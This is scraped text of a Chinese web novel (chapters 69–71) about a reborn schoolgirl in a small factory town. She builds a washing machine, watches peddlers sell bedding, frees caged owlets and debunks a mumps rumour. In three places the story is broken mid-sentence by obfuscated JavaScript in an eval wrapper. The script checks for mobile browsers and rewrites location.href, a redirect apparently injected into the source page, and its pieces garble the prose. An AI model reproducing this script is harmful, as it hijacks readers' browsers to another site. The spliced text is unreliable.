呦，小发明，孙振华戴好眼镜，仔细看起了图纸，有点意思，不过有点小问题。孙振华拿起铅笔算了算数据，又改了几个地方，觉得应该鼓励鼓励马丽丽，于是问她：“你这些个洗衣服的用具，准备用什么来做呀？这个弹簧，要用钢丝，用几号的啊？还有这个杆子，要空心的，嘶，不太好搞哦。” 呃，还是太年轻了，忘记考虑材料问题。马丽丽觉得也不能怪自己，习惯了塑料生活再回来会发现，塑料真的很方便。 不过材料确实是个问题，马丽丽在纸上写写画画。 桶……木桶铁桶都要找人现做，而且底部打孔不方便，还是得是塑料的，打孔容易，而且商店里就能马上买到，这样的话手摇式就不行了，手摇式必须有个大桶，而且还得肚大口小，不然没有盖子，一摇里面的水和衣服不都掉出来了吗？ 还有不管是摇柄还是踏板还是杆子，都能用木头或竹子做，但钢丝却不好弄，要做成弹簧倒不难，但没有钢丝啊，这玩意是稀缺货，那她原本最看好的旋转拖把式也做不成了。 结果各方面最适宜的竟然还是脚踏式，最废钱的就是桶和转轴，塑料桶在百货商店买一个，转轴只能请孙爷爷帮忙找（买）一个了，其他配件要配齐不难，难的是要做成合适大小。 说难，也不难，就是麻烦且缺点道德。。 幸福小镇两厂（场）可是民风淳朴人才辈出，要齿轮有齿轮，要车床有车床，螺丝垫片都不缺。马丽丽薅了一把社会主义羊毛，请同学们（找家长）帮了忙，把配件都做（找）齐了。 剩下的就是组装啦。马丽丽把东西堆了孙爷爷家一客厅，她还是第一次做这种“大件”，自然得就近找个能咨询的人，而且要什么工具也方便呀，姥爷啥都有，就在隔壁。 拿来把你，姥爷的大钳子。 拿来把你，姥爷的小锉刀。 拿来把你，姥爷的电烙铁。 拿来把你…… 孙振华：“要不你直接回隔壁装去？” 马丽丽干笑，“都拿齐了，都拿齐了……应该。” 先把配件都一一摆开，按图纸组装好齿轮，塑料桶上用笔画好要切割的部分，用电烙铁小心的烫出正好大小的洞，用锉刀把边角磨平，齿轮组和转盘装在一起，还要把切割的部位密封好，最后把脚踏板固定。 “终于好了。”马丽丽擦了一把汗，摸了摸密封的地方，小心把桶摆正放好、放好、放好……啧，装的有点歪，桶太轻，有点放不住。 问题不大，反正放水放衣服后重量增加就能立住了。 马丽丽用手按了几下脚踏板，桶里的转盘由慢到快转了起来，发出“嗡嗡”的声音。 马丽丽：不错嘛。 孙振华：还行，能转。 然后是装水测试。 好消息，不漏水。坏消息，水会飞溅出来。 问题不大，有衣服在里面会压水的。 最后就是找两件衣服真实的洗洗试试。 马丽丽看向孙振华。 孙振华：？？ 孙振华：…… 孙振华：“我没有要洗的衣服，回你自己家试去。” 马丽丽：“怎么可能，孙爷爷，我看你这件外套就改洗了，要不我帮你洗洗？” 孙振华：“不要，我这衣服前天才换的，洗什么洗。” 马丽丽：“那你里面的衣服……” 孙振华：“滚。” 马丽丽就带着桶滚到了隔壁姥姥家。 姥姥家有人的时候都是不锁大门的，“姥！姥！姥！”马丽丽一进门就大喊三声，孙梅闻声从房间出来，“丽丽来了，这是什么？” “姥，家里有什么是要洗的衣服吗？”马丽丽问。 孙梅想了一下，拿出两件破烂的老头背心，“这行不？” 不脏的衣服也能硬洗一遍，这才是亲姥。 “可以可以。”马丽丽把东西都装好，亲自上脚踩。 前两下还有些费力，然后转的越来越快，马丽丽赶紧收力，这是洗衣服又不是脱水，再说这桶也不能甩水的……先记下来。 总的来说马丽丽其实并不满意，桶太轻了容易翻车，踩的力道也不好控制，水经常会飞溅出来，不能方便排水，也不方便甩水。 孙梅倒是觉得挺好的，什么科学她不懂，她就觉得这玩意总比自己手搓衣服轻松多了，自己外孙女好厉害，竟然能做出这样厉害的东西，真是棒棒哒。 马丽丽有了新想法，她决定再做一个。 第二天正好是休息日，马丽丽例行做完早课，有码了好几张纸的字，灵感枯竭，脑子打结，于是拿出纸笔准备画图换换脑子。 “马～丽～丽，办公楼那边有卖四件套的，我妈喊徐老师去看看。”楼下卜纤纤在大喊。 徐明惠正在摘菜，闻言擦擦手，到阳台伸出头：“纤纤，告诉你妈我马上到。” 卜纤纤转身拔腿就跑，大抵是没听见徐老师在说什么。 徐明惠：“？？” 马丽丽：“……” 有一说一，马丽丽也是搞不清楚自家老妈在小伙伴们心目中到底是什么形象，幸福小镇的孩子们都喜欢相互串门，但她的小伙伴们愣是不敢来她家玩。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276166|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >徐明惠进来问：“丽丽，你要去吗？你不去，我就不锁门了。” “我去，我去。”马丽丽扔下纸笔跳下椅子。 不知从什么时候开始，幸福小镇出现了一些小贩，他们人不多，带的商品也不多，一般几个月才会来一波，但是带的东西都是商店里买不到或货少的，有时候是锅具，有时候是羽绒服，有时候是皮衣，到季节的时候还会出现一整车的西瓜或香瓜被拉来叫卖。 幸福小镇虽小，但因地理关系，多的是有钱花不出去的职工，虽然小贩们带了一车东西来，但想选到心仪的货品，有时候还真得靠抢。 马丽丽和徐明惠赶到办公楼前，小贩们的摊位已经转移到电影院门口，这里的位置更大，但也依旧被挤得水泄不通。 徐□□急忙甩开马丽丽，单枪匹马就厮杀了进去。 被甩在人群外的马丽丽只能看见前面一片大腿和屁股，后面还有不停赶来的人，马丽丽只能转身爬上后面海报宣传栏的水泥顶。 水泥顶这里平时经常有人用来晒菜干，也是小孩子们喜欢爬上爬下的游乐场，这会儿也是挤满了同样被甩下的小朋友们，他们或站或坐或蹲或趴，有的玩在了一起，有的津津有味的看着下面吵吵嚷嚷的人群。 马丽丽找了个位置，趴在边缘，手托着下巴向下望去，好家伙，这真是里三层外三层，全是妇女同志。 最中间是三个外地男人，他们依墙而站，面前放着两个敞开的麻布袋，靠墙还放着两个。 一个男人身上披着两条床单，左牡丹，右凤凰，他声嘶力竭的在回答问题，“尺寸在背后，背后有尺寸，四种花色，四种花色，牡丹凤凰兰花鸳鸯，红色……是的，是四件套，全是四件套，里面还有两个枕套，有床单和被套，红色黄色粉色绿色，想要什么颜色都可以哈……20块钱，20块钱一套，不讲价，不找零，有喜欢的赶紧下手，数量有限，先付钱先得。” 20块钱四件比起在商店买便宜不少，挤进来的女人根本没办法仔细看，一边挥舞着钞票大喊自己要的尺寸和花色一边向麻布袋伸手。 麻袋前蹲着一个男人，他一边翻着袋子一边喊，“大红的牡丹，1.5米的谁要？一个粉红色的一米五牡丹。”然后在一片“给我，我要，给我。”中随便抽了一张纸币，又塞回一套床品。 第三个男人个子最高，他张着手维持秩序，不时大叫“不要挤，不要挤……” 挤作一团的女人，有的在督促找货的男人赶紧找到她想要的尺寸和花式，也有的人不挑，反正钱都一样，先买到手再说，不喜欢再跟别人换。 拿到了东西的人，扭头向外挤出去，这同样艰难，她留出的空缺很快又被其他人填上。 买到东西又挤出来的人三三两两的在不远处打开检查或交换，如果有些小瑕疵小毛病，也只能自认倒霉，毕竟看眼前这人数，想要再挤进去可不是件容易的事。 除非有大问题，破了烂了少了，这就不能忍，就算不想再挤进去，等也要等到人群散了再去退换。 69.第六十九章 大部分人还是觉得挺满意的，毕竟便宜呀，如果在百货商店买的话，单是一条床单就得十几块呢，这可是四件套，就算有点小瑕疵也没事，赚了！ 妈妈们开始召唤崽崽回家。 “顾明月，顾星星！” “明月，星星，你妈叫你们回家了。”宣传栏顶立刻有崽一个接一个的传话。 “来了！”正在玩扔石子和吹纸片的两姐弟起身往回走。 马丽丽趴在水泥栏顶望着下面，心中真是说不出的羡慕嫉妒。 啧，啧，看看人家这钱赚的，围购的人就算有五十个人吧，一个人买两套，那就是一百套，一套20块钱，这就卖了两千块。成本算是五百，这三人一人就赚了五百。 别觉得五百少，一般单位职工一个月工资还不一定有五十块呢，他仨几个小时就赚了人家一年的工资，这才真是勇敢的人先赚世界的钱啊。 唉，明明她才是重生的人，却不能用这种办法赚钱，果然是命中注定人家有钱，QAQ 下面徐明惠喜笑颜开的挤出人群，简单检查了一下手里的两套四件套，没啥问题，马丽丽便眼睁睁的看着她跟熟人有说有笑的往家走。 马丽丽：“……” 妈，你回头检查一下东西都带齐了没有啊，妈！ 妈！你就不觉得少了什么吗？妈！ 妈妈再爱我一次_(:з」∠)_ 马丽丽觉得她老是感觉妈不怎么爱她是有原因的。 “妈！”马丽丽站起来叉腰大吼。 徐明惠一激灵，左看右看向上看，终于看见了马丽丽，“你怎么跑那去了？鬼叫鬼叫的，赶紧，回家了。” 属于倒打一耙了这是。 马丽丽气呼呼的往回走。 两人刚会和，徐明惠突然立住了脚叫道：“哎呀，你姥没来，丽丽，你先回去，我再给你姥买两套去。”说完不由分说的把刚刚买的两个四件套和家里钥匙塞给马丽丽，自己又急急的回去再次挤进人群圈里。 马丽丽：“……” 彳亍口巴，指使的这么顺手，确认是亲生的了。 回家就不能光写回家，得写山路十八弯……并没有了，只有心路十八弯。马丽丽回到家后还把徐明惠走之前没有择完的菜也处理好了，徐明惠还没回来，那顺便把饭也煮上，哎嘿嘿，顺便剪根香肠扔进去。 怎么还没回来，马丽丽忍不住嘟囔，人家可是还在发育呢，不能饿的，马丽丽理直气壮，决定去蒸个蛋吃。 从提篮里摸出个鸡蛋来，打在小碗里，马丽丽喜欢吃老的蛋，打散了放点酱油上锅蒸。啊，酱油没有了，马丽丽使劲抖了抖，还好还剩一点点。 蒸好的蛋十分结实，蛋白会在碗底凝结成一大块，跟那种网红滑嫩的鸡蛋羹比起来，马丽丽就爱吃这样的。 吃完蛋，洗了碗，老妈竟然还没有回来，马丽丽无聊的转了一圈，决定去打酱油，如果老妈回来的时候她不在家……哼，就在门口等着吧。 马丽丽拿了五毛钱和酱油瓶，又把自己的钥匙挂脖子上，锁好门出发。她没有走卖东西的那条路，走的是另一条斜坡路，脚蹬交卸，一路飞奔到百货商店。 “阿姨，我打个五毛钱的酱油。”马丽丽把钱交过去。 这时候的打酱油可是真打。 “好嘞。” 从柜台后走出来个售货员，她打开酱油缸，拿起挂在旁边的小竹筒和漏斗，五毛钱就是两筒，正好灌到瓶脖的一半。售货员抖了抖漏斗，立图不浪费一滴。 “好啦。” “谢谢，我走啦。” 回去就得一步一步慢慢走了，因为酱油瓶没有盖。 回到家，徐明惠果然已经在门口等着了。 “怎么才回来。”徐明明惠抢过钥匙打开门直奔厕所。出来后洗洗手，准备做菜，发现菜都择好了，徐明惠正准备夸玛丽第几句，一扭头就看见切好的满满一碗的肉片。 徐明惠：“……” 问题不大，把肉片炒熟，分了一半出去，明天再用，总不能打击孩子的积极性不是？ “吃饭啦，你爸怎么还没回来？不管他了，你先吃。” 春天青黄不接，老菜吃完了，新菜还没长成，所以正是要吃各种嫩芽的时候。 分苗之后多余的萝卜秧子、青菜苗子、豆苗，还有香椿、蕨菜、春笋，这可都是赶趟菜，过了就没了。 徐明惠把两盘菜苗子和一碗嫩豆腐端上桌，拿出碗筷，准备给马丽丽盛饭，一打开热气腾腾的电饭锅，就看见，米饭中间卧着的那根油汪汪的香肠。 徐明惠：“……” 啥家庭啊，又是吃肉又是吃香肠的，她不就是晚回来了一会吗？ 煮都煮了，还能咋办呢？徐明惠把香肠捞出来，也懒得切了，直接放在豆腐碗里，谁想吃就上口咬。 “诶嘿嘿。”马丽丽咬了第一口香肠，正好到一块肥肉那停下。 “春分有雨家家忙，先种瓜豆后插秧”“清明前后，种瓜点豆”，说明四月是个很忙的月份，当然也是个万物繁殖的季节，忙乱之中，就总会有这么几个倒霉蛋。 听说一号楼后面有人弄了只猴子来，马丽丽并不觉得稀奇，那只猴子会在那呆很长时间，直到马丽丽初中毕业，谁也不知道为什么，它就突然消失了。 这只未来消失不见的猴子，此刻仿佛年龄不大，长的有点子难看，毛发凌乱，被铁链拴在一个铁架上。 这铁架长的像个“闩”字，底下两根长脚前后都被空心水泥砖压着。铁链有足够长，猴子目光呆滞的蹲在中间的横杠上，如果有人靠近，它就立刻吱哇乱叫，上蹿下跳。 铁架周围没有水也没有吃的，围观的小孩子们有心投喂一点吃的，可是却被吓得不敢上前，只敢远远的扔几颗花生瓜子过去。 猴子十分警惕，却忍受不住诱惑，在确定没有人过来之后，它小心的爬下铁架，迅速把花生瓜子都塞进嘴里，又赶紧的爬了回去，仿佛只有那个地方才能让它有一丝安全感。 当年没有那个小朋友去深究，这猴子是从哪来的，但这次马丽丽却可以想办法打听打听，她真的太好奇了。 她这么一说，还真把其他小朋友的好奇心也勾了出来。 猴子的主人其实十分好打听，他就住在一号楼，只是出于对大人的畏惧感，没有哪个孩子敢去询问。 这时候就轮到马丽丽出场了，她先打听了一下猴子主人的相关信息，然后就带着几个好奇心很重的小伙伴一起敲门了。 “谁呀？”猴主人是个口音很重的津市人，俩孩子都还在外边读书，两口子自己住一号楼，平时生活没有压力，可不就有点放飞自我了吗？ 听说了马丽丽的来意，这位掰掰无奈的摸着自己有点秃的脑袋，说：“嗨，你们说介猴子呀？是我去县里头发现的，有人逮着了在街上卖呢，我一瞅，它也瞅着我，也怪可怜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“因为猴子是社会性动物，它一个人不会梳毛。”突然方全说了一个特别专业的词语，马丽丽看向他好奇的问：“你还懂社会性哈？” 方全挠了挠头，支支吾吾的说：“其实我是看《动物世界》上这么说的。” “哈哈哈哈。” 笑过后马丽丽顺便小小的科普了一下：“猴子要和家里人一起生活，它们相互聊天梳毛玩游戏，要是没人说话没人梳毛一起玩，它们会很无聊，活不了多久。” “啊？怎么这样？”小孩子们纷纷想法，“那我天天来跟它聊天。”“我天天来给它喂饭。”“我，我可以给它梳毛，我妈有梳子。不过它臭臭的，能不能洗一下澡啊？” “哈哈哈，这可没用哦，猴子得跟猴子一起生活啦，而且你们也不要靠太近，猴子的病是可以传染给人的，万一它抓你一把或咬你一口，等下你生了病都不知道是什么病就糟糕了啊，而且，猴子身上有跳蚤哦。”马丽丽恐吓大家。 小朋友们面面相觑，“那怎么办？” 是啊，怎么办？马丽丽也不知道。 其实最好是能找个猴子族群放生，但这年头可没有保护野生动物法，别说一般人真的很难偶遇猴子，遇上了估计相互也得吓死。如果随便找个山放生猴子，一只猴子可能根本找不到族群，这么小也没有生存能力，估计还得跑回村镇上偷吃为生，被发现不是被抓就是被打死，还不如现在呢。 人与自然，从来都是对立的。 70.第七十章 猴子的新鲜劲还没过，小孩子们又发现了新大陆，就在马丽丽她们家这栋楼一楼的一家两口子，弄了四只小猫头鹰回来。 小猫头鹰像鸡崽子一样蹲在大木笼的横杆上，散发着难闻在气味，男主人并不在意，也不在意围观的几个小孩子，他用两根小竹子当筷子，夹住几条肉搭在笼子上的木条上就回房间了。 在王勇的示意下，大家躲在排水沟后面，扒拉着水泥台只露出眼睛。 过了一会儿，确定了人类不再出现，几只小猫头鹰“嘤嘤”叫着从木条上争抢肉条，看样子已经可以自主捕食了，就是不知道怎么被逮到的。 “他们家怎么养这么臭的鸟啊？”朱莉莉气音问道。 “听说是为了治病。”住在隔壁的王勇有第一手资料。 “治病？猫头鹰不是抓老鼠的吗？”李明君眨巴着大眼睛一脸惊讶。 几个小孩都不知道吃老鼠的猫头鹰怎么治病，难不成能像抓老鼠一样把“病”从人身体里抓出去吗？ 马丽丽不说话，但她心里决定做一件大胆的事。 过了几天，算是麻痹一下对方吧，某一天的晚上，马丽丽瞪着眼睛盯着闹钟直到半夜。 外头连个虫鸣猫叫都没有，马丽丽只能听见客厅的钟在“嚓嚓嚓嚓”的响，仿佛在心头打鼓。马路上昏黄的路灯只能照亮脚边一小片地方，唯有几只沉默着飞舞的小虫还围绕着灯泡忙碌，偶尔才会发出细小的撞击声。 一点半，马丽丽悄无声息的爬起了床，她借着窗外的路灯无声的穿好外套，又套了一双袖套，穿好球鞋，特地系紧了鞋带。 出了房门又把门关上，才站在客厅，大房间的马天华突然发出一声响亮的呼噜声，把马丽丽吓了一跳，出了身虚汗，她站在原地等了一分钟，又没动静了，这才抬起脚。 马丽丽握着大门锁，轻轻慢慢的扭开了门，她用钥匙从外面扭着门锁，关好门才慢慢放开，完美。 掂着脚尖下楼，一点声音不出，马丽丽紧张之下觉得自己跟个小偷似的，但她今晚确实是要去做个小偷。 一楼的阳台很接地气，但只有栏杆没有防盗网，有点不防盗，主要是周围邻居都是单位的，抬头不见低头见的，谁也没想到会出现一个叛徒哇。 沟里有一根不起眼的折了一半的小竹竿子，就好像某个小孩玩腻了扔下的。 木笼的锁十分随意的搭在上面，大概主人也不觉得像小鸡仔似的的猫头鹰能做啥。 马丽丽捏着竹竿一头伸进栏杆，竹竿折断的地方正好能把锁挑起来，她小心的把锁放到地上，又用竹竿把笼子门轻轻的打开。 四只小猫头鹰瞪着眼睛看完全过程，但没有理解这个人类到底想干嘛，即使眼前的笼子已经打开了门，它们却依旧一动不动的站在杆子上。 马丽丽等了一会儿，可能一两分钟，也可能好几分钟，但四只猫头鹰还是只歪头卖萌，却不动腿，她正准备用竹竿捅一捅，突然，小桥对面坡道下面传来了自行车链条的声音，声音本不大，但在黑夜中却如惊雷一般。 往回跑已经来不及了，马丽丽吓得冷汗倍出，她赶紧跳上水泥台，躲到楼梯和阳台的凹缝中，有人为了方便种菜，在这里堆了不少空心水泥砖。 马丽丽躲在水泥砖后的阴影处，头上就是一楼卧室的窗户，一米开外的马路上一个下了夜班的人，正嘿哈嘿哈的骑着自行车过来，刺激。 这个才下夜班的年轻人就住在马丽丽对面那栋楼，他完全没有注意到对面楼的阴影处，还蹲着个小不点，一撇腿下了自行车，他把自行车停在楼道口，就迈着沉重的脚步回家去了。 马丽丽直到那人关上了门，这才松了口气，她抹了一把脑门，都是汗。 一松劲下来，感觉全身疲惫，马丽丽也不敢去捅鸟笼子了，只是把门又拉大了些，就偷偷摸摸的回家去了。 跟之前出门的动作反顺序来了一次，马丽丽最后终于躺在了床上，她身体板直，双手交叉放在小腹上，感受着肾上腺素带来的余韵。 抽搐的胃，狂跳的心，还有在蹦迪的脑子。 马丽丽以为自己今晚别想睡了，可不知不觉就断了片，然后理所当然的睡晚了。 “马丽丽！怎么还不起床！迟到了！” 徐明惠一把把马丽丽的被子掀开。 什么？什么猫头鹰？ 病死梦中惊坐起，一个翻身鲤鱼打挺。 起来才发现，不是猫头鹰，是八点上课，现在已经七点四十了。 “啊！迟到了迟到了迟到了！”马丽丽火速穿衣服、上厕所、刷牙洗脸。 “怎么回事，昨天也没特别晚睡啊？你昨天是不是偷偷听广播了马丽丽？”马天华拿着书包，马丽丽“咕咚咕咚”喝了一杯凉水，一手抓一个馒头，丝滑的套上书包，大喊着“没有”跑出门。 声音还在家里，人已经在马路上了。 马丽丽甚至都来不及看一眼一楼。 一路狂奔到学校，踩着铃声进教室，好在老师还没来，马丽丽喘着气坐下，掏出作业分头传给两个课代表。 坐在后面住在隔壁楼上的男孩捅了捅马丽丽，小声说：“马丽丽，你今天怎么迟到了？我妈说你今天早上没念外语呢。”说到后面好像绿茶里放了陈年老醋。 “我才没有迟到。”马丽丽用气音纠正，这会儿老师踏进了门，两人停止聊天。 听说马丽丽早上睡晚了，拿着馒头狂奔来的学校，大家伙都觉得挺稀奇。见她下课干啃馒头，还有好心的男同学拿个破杯子接来自来水让她别噎着。 马丽丽：“……” 我可真谢谢你啊，但真不用。 食堂的阿姨常年会准备热水，只是除了老师，很多学生其实都不知道，反倒是住校生会去食堂喝水，这个消息不是很流通，大部分学生都是忍耐到中午回家再喝水，忍不住的还有喝自来水的。 心里头搁着事，马丽丽一个上午都没好好听课，好在二年级的课还用不着她认真听，跟着大伙儿张嘴就行。 中午回家吃饭，马丽丽特地带着同路的小朋友们绕路去自家一楼看鸟。 “哎，这鸟怎么就剩一只啦？”朱莉莉说出了大家的疑惑。 “对啊，怎么回事哇。” 马丽丽嘴上应和，眼睛微瞪，好像跟大家一样疑惑，其实心里头正在怒吼。 蠢鸟蠢鸟蠢鸟！给你机会你是不中用啊！我废了这么半夜的劲呢，你看看人家其他仨鸟，都知道赶紧跑，你还呆在这里，图啥啊？图有吃有住？拿命换的啊傻鸟。 人与鸟的悲欢不能与共，傻鸟转了转头，伸展了一下翅膀，说不定还觉得少了同伴活动空间都大了不少呢。 嗐，马丽丽撇撇嘴，反正她也不能再来一次了，原本搭在笼子上的锁这回可是严严实实的锁上了，她可没这本事撬开。 放下助鸟情节，尊重他鸟命运。 日子过的很快，转眼就热了，又到了一年一度“什么时候穿裙子”的纠结时节乡下十几岁的女孩子们对“美”有天然的向往，但也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15291834|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有莫名的耻感，感觉穿裙子是件会被人指指点点的事，可能是因为要露腿吧。以前都要热到忍不住的时候，大家才会相互询问，然后约好在同一天穿上今年的第一条裙子，即使这样，也可能各种原因一再推后，除非有一个女孩特别有种的先穿，其他女孩子第二天就会立马换上了。 都是封建余孽的锅啦。 马丽丽曾经也是这样，因为她最喜欢的裙子是带着金线的大红色，马丽丽既想穿又不想做显眼包，不过现在不用纠结了，当有同学期期艾艾来问她觉得什么时候开始穿裙子好的时候，马丽丽立刻说：“就明天呗，天都这么热了。” “啊？明天就穿？” “对啊，明天一起穿裙子吧。” “好啊好啊。” 女同学开心的去宣传明天大家一起穿裙子的事。 为了这一天，马丽丽准备了一条新裙子，还是条背带裙，这种时髦款式百货商店里可没卖的，只能自己做。 长度正好在膝盖，粗布的裙子折了许多褶子，这这边放了一些用毛线做的马卡龙色小花，裙边和背带边都缝了花边，花边也是自己用白色细棉布折的。 马丽丽负责设计和画图，姥姥负责裁剪和缝纫。姥姥以前只在电视上见过这种背带裙，但这并不妨碍她相信马丽丽的设计，并且废了一块布去做。 等做好马丽丽试穿的时候姥姥才诧异的拉拉裙摆：“这粗布以前我只用来做裤子和床单，没想到做裙子穿也挺好看的。” 才换上裙子，感觉十分特别，两腿凉飕飕的，不过女同学们都很开心。 漂亮的裙子只有市里才有卖，幸福小镇的百货商店也不卖成衣，大家都是买了布回家自己做，或是送到裁缝铺里去做。 在马丽丽审美的带动下，女同学们的审美也逐渐摒除了耐脏的黑色、灰色、深蓝色，除了在市里买新裙子的，自己做裙子的也势必要买一些颜色鲜艳的布来做。 脱下裤子穿上裙子，总会觉得有点别扭，除了个别爱起哄的男同学，大部分人包括老师都觉得还是挺不错的。 看了一冬天和一春天暗暗沉沉的颜色，花花绿绿的裙子们是真真切切的让大家眼前一亮了。 没几天，小学部突然流行起了猪头肥，这个本来多发于冬天春天的病不知怎么在天热后流行了起来。 一开始是马丽丽班上的一个女同学突然请假，之后又是一个女同学。几天后一年级有个男孩，一张肿脸被家长涂满红药水来上课，先是被围观，随后被见多识广的老师送走了，还有三年级，也有人请了病假。 然后有一天马丽丽到学校的时候，发现今天只有她一个女生穿裙子，其他女生都换回了长裤。 什么情况？没有人通知我啊？难不成我被排挤了？ 下课后马丽丽逮到朱莉莉问她：“干嘛？你们都说好今天换回长裤的吗？” “不是啦。”朱莉莉小声说：“因为班上的同学都说，穿裙子容易得猪头肥，我不想生病。” “哈？” 哪个憨批在传谣言？猪头肥虽然可能会引起疼痛，会发热，会引发其他炎症，但它真的只是一种普通的易发生于青少年中的病，更何况…… “一年级和三年级的猪头肥不是也有男生吗？他们也没穿裙子啊。”马丽丽不李姐，但她决定做点什么。 “问下到底是谁说起来的吧。” 这倒是很容易，本来班上才二十来个人，下个课间马丽丽就问到了，是张兴宗。 原来是你小子！ 71.第七十一章 张兴宗不是老师们喜欢的那种学生，才二年级就开始展现出了一个学渣的本质，正是七八岁鸡狗都嫌的年纪，个头比同班同学都要高大些，就是俗称头脑简单四肢发达的代表。 平时坐在最后一排也按捺不住他日常想搞事的心，好像脑后有反骨一样。 罚站也罚过，打手心也打过，可是他却一根筋把学习排除在人生之外，也就是所谓的“心思不在学习上”。 其实张兴宗的性格有迹可寻，父亲在镇政府上班，工作繁忙，对儿子疏于管教，母亲是家庭妇女，家里还有个农村来的奶奶一起生活，平时在家就是个宝贝蛋，想干嘛干嘛，只对着父亲的七匹狼怂包。 对这种学生，历来都是让老师头痛的，学习不好，本人不想学，叫家长效果也不好，幸好对班级还很有融入感，会参加班上组织的活动（文艺汇演），偶尔也会和大家一起写作业（主要是为了抄）。 以马丽丽的视角觉得张兴宗就是典型的熊孩子，但看在同学的份上，为了集体荣誉感，在能拉一把的时候还是拉一把。 做为社会主义接班人……哦，不对，张兴宗还不是少先队员，他还不是社会主义接班人呢，不管了，谣言不能出自二年级，身为班长，马丽丽决定做点什么。 开会！ 大家还有点子习惯开会这种形式了，每次班长说要开会都是真有事，所以下午下了课，二年级全体都留了下来。 前后门都关好，留点面子。 马丽丽站在讲台旁边十分直接了当的说：“最近咱们小学部出了几个猪头肥，大家知道这是什么病吗？” 同学有的摇头，有的大声说“不知道”。 马丽丽不管，她敲了敲讲台继续，“猪头肥就是腮腺炎，是传染病啦，是一种小朋友比较会得的病，主要是飞沫和接触，也就是对你讲话、吐口水、打喷嚏、咳嗽或者是抓了手、摸了脸，都可能传给你。我们班有两个人得了，所以我们班再有人得的可能性很大，我建议大家回去后问大人要一个口罩或是手绢或是丝巾围巾的戴着上学，我会带一块肥皂来学校，大家多肥皂洗手，可以预防一下，如果有人感觉腮帮子痛的，要马上报告老师或家长，马上去医务所检查，大家可以做到吗？可以的请举手。” 马丽丽的爸爸是医生，所以马丽丽说的关于猪头肥的事大家都相信，下面同学大部分都举起了手，个别没举手的马丽丽也当没看见，说到底预防也是个人行为，生不生病看个人体质和运气。 “好了，我要说下一个事了。听说有人说咱班女生得猪头肥是因为穿裙子？”马丽丽话一出，顿时不少人去看张兴宗，显然都听说了马丽丽打听的事。 张兴宗一愣，不一会儿脸就红温了，好像火山马上就要从头顶突突冒烟。 马丽丽心中感叹站在讲台上还真的什么小动作都能看清楚，然后继续假装没看见。 “我慎重的说明一下，这是编的假话，得猪头肥跟是男是女，穿不穿裙子没有关系，一年级和三年级也有男生得猪头肥的，他们也不穿裙子。” “哈哈哈哈。”同学们都笑起来，还有人对张兴宗起哄。 在其他人要开始聊这事之前，马丽丽赶紧抓紧说完：“像这种瞎编的话以后不能从我们班传出去，不然人家可不会管是哪个讲的，只会说二年级的就会瞎扯淡。而且，而且！你们给我听好，没有入队的人，今年是你们最后一次加入少年队的机会，拿不到红领巾，以后少先队的活动就你……就不能参加，听到没有。” “听到啦。”这回大家认真多了，大部分孩子还是有荣誉感的。 行吧，知道就行，马丽丽把要说的说完了，至于张兴宗，拉倒吧，一个窝里横的熊孩子，没点他名已经是给面子了。 还没等马丽丽说“散会”，被起哄的张兴宗突然站起来指着马丽丽大叫：“你胡说，才不是我瞎编的。” 呵，熊起了啊你。 马丽丽对这种情况早有预想，她看着张兴宗说：“我刚才可没有说是谁编的瞎话，你这说，不会就是你吧？” 张兴宗：“……” 其他学生：“对对，就是他，我听他讲过。” 张兴宗：“…………” 其他学生：“他编瞎话，不能戴红领巾。” 张兴宗：“………………” 张兴宗的脸越来越红，马丽丽都担心他会不会小小年纪就突发脑溢血。突然，张兴宗一把推倒桌凳，把所有人都吓了一跳，他喘着粗气红着眼睛指着马丽丽，“我，我要跟你决斗！” 全班鸦雀无声。 切，就这？还决斗，最近看什么动画片了还决斗，想打架就直接说打架。 这个马丽丽也预料到了。 洪细妹鼓起勇气对张兴宗说：“你要干嘛，不许打架。” 作为坐在最后一排唯一的女生，洪细妹是因为身高的原因，她本人其实是一个有点胆小自卑的女孩子，不过她年纪比其他人大很多，在班里显得人高马大的，即使是熊孩子也不敢对她怎么样。 马丽丽十分干脆利落的说：“没事，决斗是吧？各位同学，请大家帮我把桌子凳子都挪开，空一块大点的空地出来。” 想不到吧，朕还略懂一些拳脚……其实并不会，不过七八岁的男女生体能区别还不大，而且就二年级这种体格的打架水平，嗯，反正就是菜鸟互啄吧。 同学们立刻动手，纷纷把后排的桌凳拖开一些。 马丽丽则走到放打扫工具的角落，每个班都会有一两把竹扫帚，马丽丽用力把两把扫帚中间的竹子抽出来，然后扔了一根给张兴宗。 不是，玩这么大的吗！ 张兴宗踌躇了片刻才捡起竹竿来。 虽然原本是个扫把杆子，但这玩意也差不多有一米，为了方便插到竹枝做的扫帚里，一头还削了一个斜切面，用这玩意打架？怎么看都挺危险的。 马丽丽就是要这份危险感，毕竟只是打架，大家也没想过要生死决斗，拿着不合适的“武器”反而会畏畏缩缩放不开。更何况这竹竿一手握不全，使不上力，两手握嫌太长，施展不开，不是所有人拿根长棍就能当枪，那可是需要很多力气和手段的。 